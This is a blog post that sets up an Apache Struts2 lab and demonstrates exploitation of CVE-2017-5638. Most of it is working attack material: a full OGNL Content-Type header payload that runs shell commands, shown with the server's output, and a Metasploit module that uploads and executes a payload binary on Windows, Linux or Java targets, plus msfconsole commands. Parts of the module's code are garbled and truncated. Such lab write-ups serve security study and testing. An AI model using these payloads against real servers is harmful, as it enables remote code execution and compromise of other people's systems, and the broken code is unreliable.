i apache-struts2 Content-Type arbitrary command execution (CVE-2017-5638) – Demo Application and Exploit – All things in moderation

apache-struts2 Content-Type arbitrary command execution (CVE-2017-5638) – Demo Application and Exploit

Apache-struts2 Content-Type arbitrary command execution (CVE-2017-5638)

Apache Struts 2 is an open-source web application framework for developing Java EE web applications. It’s an extensible framework for creating enterprise-ready Java web applications adopt a model–view–controller (MVC) architecture. The framework is designed to streamline the full development cycle, from building to deploying, to maintaining applications over time. Apache Struts 2 was originally known as WebWork 2.

Apache-struts2 Content-Type arbitrary command execution (CVE-2017-5638): The Jakarta Multipart parser in Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 mishandles file upload, which allows remote attackers to execute arbitrary commands via a #cmd= string in a crafted Content-Type, Content-Disposition, or Content-Length HTTP header, as exploited in the wild in March 2017.

Affected Products and Versions: Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1

Setting up Apache-struts2 labs on ubuntu

The first, you need to install apache tomcat as following the instructions: https://help.ubuntu.com/lts/serverguide/tomcat.html

After install apache tomcat, Dowload struts2-showcase version 2.3.12 from: https://mvnrepository.com/artifact/org.apache.struts/struts2-showcase/2.3.12

To deploy the struts2-showcase application, simply copy the war-file into Tomcat’s “webapps” directory (/var/www/lib/tomcat7/webapps).

Let’s stop service tomcat (sudo service tomcat7 stop) and copy the struts2 application struts2.war into Tomcat’s “webapps”. Start your Tomcat. The war-file will be unzipped and deployed automatically.

cd /var/lib/tomcat7/webapps/
wget http://central.maven.org/maven2/org/apache/struts/struts2-showcase/2.3.12/struts2-showcase-2.3.12.war
sudo mv struts2-showcase-2.3.12.war struts2.war
sudo chmod 755 struts2.war
sudo service tomcat7 restart

Go to browser and access to address: http://your_ip:8080/struts2/, the struts2-showcase application installed successfully

Exploit CVE-2017-5638

1, Python Exploit script
Download script: https://www.exploit-db.com/exploits/41570/
Run exploit:

python struts2_S2-045.py url "command"

For example:

python struts2_S2-045.py http://192.168.126.128:8080/struts2/index.action "uname -a"

The request of exploit are following:

GET /struts2/index.action HTTP/1.1
Accept-Encoding: identity
Host: 192.168.126.128:8080
Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='uname -a').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}
Connection: close
User-Agent: Mozilla/5.0

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Transfer-Encoding: chunked
Date: Sat, 28 Oct 2017 04:23:31 GMT
Connection: close

71
Linux ubuntu 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:26 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
0

2, Metasploit module:

Download script:

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule  'Apache Struts Jakarta Multipart Parser Remote Code Execution',
      'Description'    => %q{
        This module exploits a remote code execution vunlerability in Apache Struts
        version 2.3.5 - 2.3.31,  and 2.5 - 2.5.10. Remote Code Execution can be performed
        via http Content-Type header.
      },
      'Author'         => [ 'Nixawk' ],
      'References'     => [
        ['CVE', '2017-5638'],
        ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-045']
      ],
      'Platform'       => %w{ java linux win },
      'Privileged'     => true,
      'Targets'        =>
        [
          ['Windows Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            }
          ],
          ['Linux Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            }
          ],
          [ 'Java Universal',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'java'
            },
          ]
        ],
      'DisclosureDate' => 'Mar 07 2017',
      'DefaultTarget' => 2))

      register_options(
        [
          Opt::RPORT(8080),
          OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-showcase/' ]),
          OptString.new('TMPPATH', [ false, 'Overwrite the temp path for the file upload. Needed if the home directory is not writable.', nil])
        ]
      )
  end

  def print_status(msg='')
    super("#{peer} - #{msg}")
  end

  def get_target_platform
    target.platform.platforms.first
  end

  def temp_path
    @TMPPATH ||= lambda {
      path = datastore['TMPPATH']
      return nil unless path

      case get_target_platform
      when Msf::Module::Platform::Windows
        slash = '\\'
      when
        slash = '/'
      else
      end

      unless path.end_with?('/')
        path < uri,
      'version' => '1.1',
      'method'  => 'GET',
      'headers' => {
        'Content-Type': payload
      }
    )

    if resp && resp.code == 404
      fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
    end
    resp
  end

  def upload_exec(cmd, filename, content)
    var_a = rand_text_alpha_lower(4)
    var_b = rand_text_alpha_lower(4)
    var_c = rand_text_alpha_lower(4)

    cmd = Rex::Text.encode_base64(cmd)

    payload = "%{"
    payload << "(#[email protected]@DEFAULT_MEMBER_ACCESS)."

    # save into a file / set file execution bit
    payload << "(##{var_a}=new sun.misc.BASE64Decoder())."
    payload << "(##{var_b}=new java.io.FileOutputStream('#{filename}'))."
    payload << "(##{var_b}.write(new java.math.BigInteger('#{content}', 16).toByteArray()))."
    payload << "(##{var_b}.close())."
    payload << "(##{var_c}=new java.io.File(new java.lang.String('#{filename}')))."
    payload << "(##{var_c}.setExecutable(true))."
    payload << "(@[email protected]().exec(new java.lang.String(##{var_a}.decodeBuffer('#{cmd}'))))"
    payload << "}.multipart/form-data"

    send_http_request(payload)
  end

  def check
    var_a = rand_text_alpha_lower(4)
    var_b = rand_text_alpha_lower(4)

    payload = "%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']"
    payload << ".addHeader('#{var_a}', '#{var_b}')"
    payload << "}.multipart/form-data"

    begin
      resp = send_http_request(payload)
    rescue Msf::Exploit::Failed
      return Exploit::CheckCode::Unknown
    end

    if resp && resp.code == 200 && resp.headers[var_a] == var_b
      Exploit::CheckCode::Vulnerable
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit
    payload_exe = rand_text_alphanumeric(4 + rand(4))
    case target['Platform']
      when 'java'
        payload_exe = "#{temp_path}#{payload_exe}.jar"
        pl_exe = payload.encoded_jar.pack
        command = "java -jar #{payload_exe}"
      when 'linux'
        path = datastore['TMPPATH'] || '/tmp/'
        pl_exe = generate_payload_exe
        payload_exe = "#{path}#{payload_exe}"
        command = "/bin/sh -c #{payload_exe}"
      when 'win'
        path = temp_path || '.\\'
        pl_exe = generate_payload_exe
        payload_exe = "#{path}#{payload_exe}.exe"

        print_status(payload_exe)
        command = "cmd.exe /c #{payload_exe}"
      else
        fail_with(Failure::NoTarget, 'Unsupported target platform!')
    end

    pl_content = pl_exe.unpack('H*').join()

    print_status("Uploading exploit to #{payload_exe}, and executing it.")
    upload_exec(command, payload_exe, pl_content)
  end
end

Save file as struts_code_exec_jakarta.rb and move to metasploit module “sudo mv struts_code_exec_jakarta.rb /usr/share/metasploit-framework/modules/exploits/multi/http

Start metasploit to run module exploit/multi/http/struts_code_exec_jakarta and set options target with following command:

use exploit/multi/http/struts_code_exec_jakarta
set RHOST [hostname or ip address]
set RPORT 8080
set TARGETURI  /struts2/index.action
set target 1
exploit

Run exploit successfully:

References:

https://help.ubuntu.com/lts/serverguide/tomcat.html
https://cwiki.apache.org/confluence/display/WW/S2-045
https://www.exploit-db.com/exploits/41570/

Leave a Reply